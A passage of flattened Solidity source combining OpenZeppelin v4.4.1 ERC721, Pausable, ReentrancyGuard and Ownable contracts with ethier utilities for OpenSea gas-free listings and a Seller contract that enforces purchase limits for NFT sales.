tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../security/Pausable.sol"; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol) pragma solidity ^0.8.0; import "../token/ERC721/IERC721.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Interface for the NFT Royalty Standard */ interface IERC2981 is IERC165 { /** * @dev Called with the sale price to determine how much royalty is owed and to whom. * @param tokenId - the NFT asset queried for royalty information * @param salePrice - the sale price of the NFT asset specified by `tokenId` * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for `salePrice` */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; /// @notice A Pausable contract that can only be toggled by the Owner. contract OwnerPausable is Ownable, Pausable { /// @notice Pauses the contract. function pause() public onlyOwner { Pausable._pause(); } /// @notice Unpauses the contract. function unpause() public onlyOwner { Pausable._unpause(); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; /** @notice Provides monotonic increasing and decreasing values, similar to OpenZeppelin's Counter but (a) limited in direction, and (b) allowing for steps > 1. */ library Monotonic { /** @notice Holds a value that can only increase. @dev The internal value MUST NOT be accessed directly. Instead use current() and add(). */ struct Increaser { uint256 value; } /// @notice Returns the current value of the Increaser. function current(Increaser storage incr) internal view returns (uint256) { return incr.value; } /// @notice Adds x to the Increaser's value. function add(Increaser storage incr, uint256 x) internal { incr.value += x; } /** @notice Holds a value that can only decrease. @dev The internal value MUST NOT be accessed directly. Instead use current() and subtract(). */ struct Decreaser { uint256 value; } /// @notice Returns the current value of the Decreaser. function current(Decreaser storage decr) internal view returns (uint256) { return decr.value; } /// @notice Subtracts x from the Decreaser's value. function subtract(Decreaser storage decr, uint256 x) internal { decr.value -= x; } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; /// @notice A minimal interface describing OpenSea's Wyvern proxy registry. contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** @dev This pattern of using an empty contract is cargo-culted directly from OpenSea's example code. TODO: it's likely that the above mapping can be changed to address => address without affecting anything, but further investigation is needed (i.e. is there a subtle reason that OpenSea released it like this?). */ contract OwnableDelegateProxy { } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; // Inspired by BaseOpenSea by Simon Fremaux (@dievardump) but without the need // to pass specific addresses depending on deployment network. // https://gist.github.com/dievardump/483eb43bc6ed30b14f01e01842e3339b/ import "./ProxyRegistry.sol"; /// @notice Library to achieve gas-free listings on OpenSea. library OpenSeaGasFreeListing { /** @notice Returns whether the operator is an OpenSea proxy for the owner, thus allowing it to list without the token owner paying gas. @dev ERC{721,1155}.isApprovedForAll should be overriden to also check if this function returns true. */ function isApprovedForAll(address owner, address operator) internal view returns (bool) { address proxy = proxyFor(owner); return proxy != address(0) && proxy == operator; } /** @notice Returns the OpenSea proxy address for the owner. */ function proxyFor(address owner) internal view returns (address) { address registry; uint256 chainId; assembly { chainId := chainid() switch chainId // Production networks are placed higher to minimise the number of // checks performed and therefore reduce gas. By the same rationale, // mainnet comes before Polygon as it's more expensive. case 1 { // mainnet registry := 0xa5409ec958c83c3f309868babaca7c86dcb077c1 } case 137 { // polygon registry := 0x58807baD0B376efc12F5AD86aAc70E78ed67deaE } case 4 { // rinkeby registry := 0xf57b2c51ded3a29e6891aba85459d600256cf317 } case 80001 { // mumbai registry := 0xff7Ca10aF37178BdD056628eF42fD7F799fAc77c } case 1337 { // The geth SimulatedBackend iff used with the ethier // openseatest package. This is mocked as a Wyvern proxy as it's // more complex than the 0x ones. registry := 0xE1a2bbc877b29ADBC56D2659DBcb0ae14ee62071 } } // Unlike Wyvern, the registry itself is the proxy for all owners on 0x // chains. if (registry == address(0) || chainId == 137 || chainId == 80001) { return registry; } return address(ProxyRegistry(registry).proxies(owner)); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "../utils/Monotonic.sol"; import "../utils/OwnerPausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /** @notice An abstract contract providing the _purchase() function to: - Enforce per-wallet / per-transaction limits - Calculate required cost, forwarding to a beneficiary, and refunding extra */ abstract contract Seller is OwnerPausable, ReentrancyGuard { using Address for address payable; using Monotonic for Monotonic.Increaser; using Strings for uint256; /** @dev Note that the address limits are vulnerable to wallet farming. @param maxPerAddress Unlimited if zero. @param maxPerTex Unlimited if zero. @param freeQuota Maximum number that can be purchased free of charge by the contract owner. @param reserveFreeQuota Whether to excplitly reserve the freeQuota amount and not let it be eroded by regular purchases. @param lockFreeQuota If true, calls to setSellerConfig() will ignore changes to freeQuota. Can be locked after initial setting, but not unlocked. This allows a contract owner to commit to a maximum number of reserved items. @param lockTotalInventory Similar to lockFreeQuota but applied to totalInventory. */ struct SellerConfig { uint256 totalInventory; uint256 maxPerAddress; uint256 maxPerTx; uint248 freeQuota; bool reserveFreeQuota; bool lockFreeQuota; bool lockTotalInventory; } constructor(SellerConfig memory config, address payable _beneficiary) { setSellerConfig(config); setBeneficiary(_beneficiary); } /// @notice Configuration of purchase limits. SellerConfig public sellerConfig; /// @notice Sets the seller config. function setSellerConfig(SellerConfig memory config) public onlyOwner { require( config.totalInventory >= config.freeQuota, "Seller: excessive free quota" ); require( config.totalInventory >= _totalSold.current(), "Seller: inventory < already sold" ); require( config.freeQuota >= purchasedFreeOfCharge.current(), "Seller: free quota < already used" ); // Overriding the in-memory fields before copying the whole struct, as // against writing individual fields, gives a greater guarantee of // correctness as the code is simpler to read. if (sellerConfig.lockTotalInventory) { config.lockTotalInventory = true; config.totalInventory = sellerConfig.totalInventory; } if (sellerConfig.lockFreeQuota) { config.lockFreeQuota = true; config.freeQuota = sellerConfig.freeQuota; } sellerConfig = config; } /// @notice Recipient of revenues. address payable public beneficiary; /// @notice Sets the recipient of revenues. function setBeneficiary(address payable _beneficiary) public onlyOwner { beneficiary = _beneficiary; } /** @dev Must return the current cost of a batch of items. This may be constant or, for example, decreasing for a Dutch auction or increasing for a bonding curve. @param n The number of items being purchased. @param metadata Arbitrary data, propagated by the call to _purchase() that can be used to charge different prices. This value is a uint256 instead of bytes as this allows simple passing of a set cost (see ArbitraryPriceSeller). */ function cost(uint256 n, uint256 metadata) public view virtual returns (uint256); /** @dev Called by both _purchase() and purchaseFreeOfCharge() after all limits have been put in place; must perform all contract-specific sale logic, e.g. ERC721 minting. When _handlePurchase() is called, the value returned by Seller.totalSold() will be the pre-purchase amount. @param to The recipient of the item(s). @param n The number of items allowed to be purchased, which MAY be less than to the number passed to _purchase() but SHALL be greater than zero. @param freeOfCharge Indicates that the call originated from purchaseFreeOfCharge() and not _purchase(). */ function _handlePurchase( address to, uint256 n, bool freeOfCharge ) internal virtual; /** @notice Tracks total number of items sold by this contract, including those purchased free of charge by the contract owner. */ Monotonic.Increaser private _totalSold; /// @notice Returns the total number of items sold by this contract. function totalSold() public view returns (uint256) { return _totalSold.current(); } /** @notice Tracks the number of items already bought by an address, regardless of transferring out (in the case of ERC721). @dev This isn't public as it may be skewed due to differences in msg.sender and tx.origin, which it treats in the same way such that sum(_bought)>=totalSold(). */ mapping(address => uint256) private _bought; /** @notice Returns min(n, max(extra items addr can purchase)) and reverts if 0. @param zeroMsg The message with which to revert on 0 extra. */ function _capExtra( uint256 n, address addr, string memory zeroMsg ) internal view returns (uint256) { uint256 extra = sellerConfig.maxPerAddress - _bought[addr]; if (extra == 0) { revert(string(abi.encodePacked("Seller: ", zeroMsg))); } return Math.min(n, extra); } /// @notice Emitted when a buyer is refunded. event Refund(address indexed buyer, uint256 amount); /// @notice Emitted on all purchases of non-zero amount. event Revenue( address indexed beneficiary, uint256 numPurchased, uint256 amount ); /// @notice Tracks number of items purchased free of charge. Monotonic.Increaser private purchasedFreeOfCharge; /** @notice Allows the contract owner to purchase without payment, within the quota enforced by the SellerConfig. */ function purchaseFreeOfCharge(address to, uint256 n) public onlyOwner whenNotPaused { uint256 freeQuota = sellerConfig.freeQuota; n = Math.min(n, freeQuota - purchasedFreeOfCharge.current()); require(n > 0, "Seller: Free quota exceeded"); uint256 totalInventory = sellerConfig.totalInventory; n = Math.min(n, totalInventory - _totalSold.current()); require(n > 0, "Seller: Sold out"); _handlePurchase(to, n, true); _totalSold.add(n); purchasedFreeOfCharge.add(n); assert(_totalSold.current() <= totalInventory); assert(purchasedFreeOfCharge.current() <= freeQuota); } /** @notice Convenience function for calling _purchase() with empty costMetadata when unneeded. */ function _purchase(address to, uint256 requested) internal virtual { _purchase(to, requested, 0); } /** @notice Enforces all purchase limits (counts and costs) before calling _handlePurchase(), after which the received funds are disbursed to the beneficiary, less any required refunds. @param to The final recipient of the item(s). @param requested The number of items requested for purchase, which MAY be reduced when passed to _handlePurchase(). @param costMetadata Arbitrary data, propagated in the call to cost(), to be optionally used in determining the price. */ function _purchase( address to, uint256 requested, uint256 costMetadata ) internal nonReentrant whenNotPaused { /** * ##### CHECKS */ SellerConfig memory config = sellerConfig; uint256 n = config.maxPerTx == 0 ? requested : Math.min(requested, config.maxPerTx); uint256 maxAvailable; uint256 sold; if (config.reserveFreeQuota) { maxAvailable = config.totalInventory - config.freeQuota; sold = _totalSold.current() - purchasedFreeOfCharge.current(); } else { maxAvailable = config.totalInventory; sold = _totalSold.current(); } n = Math.min(n, maxAvailable - sold); require(n > 0, "Seller: Sold out"); if (config.maxPerAddress > 0) { bool alsoLimitSender = _msgSender() != to; bool alsoLimitOrigin = tx.origin != _msgSender() && tx.origin != to; n = _capExtra(n, to, "Buyer limit"); if (alsoLimitSender) { n = _capExtra(n, _msgSender(), "Sender limit"); } if (alsoLimitOrigin) { n = _capExtra(n, tx.origin, "Origin limit"); } _bought[to] += n; if (alsoLimitSender) { _bought[_msgSender()] += n; } if (alsoLimitOrigin) { _bought[tx.origin] += n; } } uint256 _cost = cost(n, costMetadata); if (msg.value < _cost) { revert( string( abi.encodePacked( "Seller: Costs ", (_cost / 1e9).toString(), " GWei" ) ) ); } /** * ##### EFFECTS */ _handlePurchase(to, n, false); _totalSold.add(n); assert(_totalSold.current() <= config.totalInventory); /** * ##### INTERACTIONS */ // Ideally we'd be using a PullPayment here, but the user experience is // poor when there's a variable cost or the number of items purchased // has been capped. We've addressed reentrancy with both a nonReentrant // modifier and the checks, effects, interactions pattern. if (_cost > 0) { beneficiary.sendValue(_cost); emit Revenue(beneficiary, n, _cost); } if (msg.value > _cost) { address payable reimburse = payable(_msgSender()); uint256 refund = msg.value - _cost; // Using Address.sendValue() here would mask the revertMsg upon // reentrancy, but we want to expose it to allow for more precise // testing. This otherwise uses the exact same pattern as // Address.sendValue(). (bool success, bytes memory returnData) = reimburse.call{ value: refund }(""); // Although `returnData` will have a spurious prefix, all we really // care about is that it contains the ReentrancyGuard reversion // message so we can check in the tests. require(success, string(returnData)); emit 